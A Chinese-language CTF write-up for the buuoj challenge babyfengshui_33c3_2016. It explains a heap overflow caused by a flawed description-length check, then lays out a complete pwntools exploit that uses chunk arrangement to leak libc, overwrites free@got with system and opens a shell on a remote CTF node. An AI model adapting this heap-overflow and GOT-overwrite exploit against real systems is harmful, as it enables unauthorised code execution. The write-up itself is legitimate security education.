buuoj刷题记录 - babyfengshui_33c3_2016

检查程序保护:
拖进IDA看一下，add,show,edit,free
有一个全局的数组,每一个元素是一个地址,执行一个User结构体。
分析一下可以知道User结构体大概是这样子:

struct User
{
	char* szUserDescription;
	char szUserName[124];
}

add函数:

add函数调用了readDescription函数:
其中存在问题的就位于该函数内,该函数在Update内被会被调用.

add函数内需要注意的一个地方，就是readDescription执行的时候Used已经加1了,传进去的是比Used小1 的数，看一下汇编就知道了：

Used先加一,然后给readDescription传进去的是Used - 1.

然后看一下readDescription,

这里看不太明白的话看一下汇编代码:

重新输入了description的长度,但是长度的限制方法大概是是:
szDescription + lenght < User结构体地址.也就是 描述部分必须位于User之前,而且地址不能超过User（在内存里面）

构造方法:

可以把0 和 2 free 掉,然后重写addUser，使这个User的结构体位于2 处,但是Description部分位于0处,这样就可以写一端很长的数据覆盖掉1,
之后可以搞free_got 为system 就可以getshell了.

操作过程中需要注意的地方:

1. glibc2.23没有tcache，User结构体free的时候会被丢到unsorted bin里面.为了防止和top chunk合并,需要在2后面再add一个User
2. unsorted bin 是FIFO,先得free 2,再free 0
3. 0的描述大小和2的描述大小不能相同

exp:

from pwn import*

#sh = process('./pwn')
sh = remote('node4.buuoj.cn',28540)

def add(name,descriptionSize,payload):
    sh.sendlineafter(b'Action: ',b'0')
    sh.sendlineafter(b'size of description: ',str(descriptionSize).encode())
    sh.sendlineafter(b'name: ',name)    
    sh.sendlineafter(b'text length: ',str(len(payload)).encode())
    sh.sendlineafter(b'text',payload)

def display(idx):
    sh.sendlineafter(b'Action: ',b'2')
    sh.sendlineafter(b'index: ',str(idx).encode())
    sh.recvuntil(b'name: ')
    name = sh.recvline()[:-1]
    sh.recvuntil(b'description: ')
    description = sh.recvline()[:-1]
    return (name,description)


def UpdateDescription(idx,payload):
    sh.sendlineafter(b'Action: ',b'3')
    sh.sendlineafter(b'index: ',str(idx).encode())

    sh.sendlineafter(b'text length: ',str(len(payload)).encode())
    sh.sendlineafter(b'text: ',payload)

def DelUser(idx):
    sh.sendlineafter(b'Action: ',b'1')
    sh.sendlineafter(b'index: ',str(idx).encode())


payload = p64(0) 
payload += p32(0) + p32(0x89) + p32(0x804B010)

add(b'user1',8,b'a')            #0
add(b"/bin/sh\x00",16,b'b')     #1
add(b'user3',32,b'c')           #2

#防止合并,
add(b"merge",8,b'merge')        #3

DelUser(2)
DelUser(0)              

add(b"user3",8,b'emmm')         #4

#176 
payload = b'/bin/sh\x00' + b'\x00' * (8 + 128 + 8 + 16 + 8 ) + p32(0x0804B010) + b'HackedIt'

#gdb.attach(sh)
UpdateDescription(4,payload)
#
libc_base = u32(display(1)[1][0:4]) - 0x0070750

log.success('libc_base: %x\n',libc_base)

system = libc_base + 0x003a940

UpdateDescription(1,p32(system))
#
DelUser(4)

sh.interactive()

成功getshell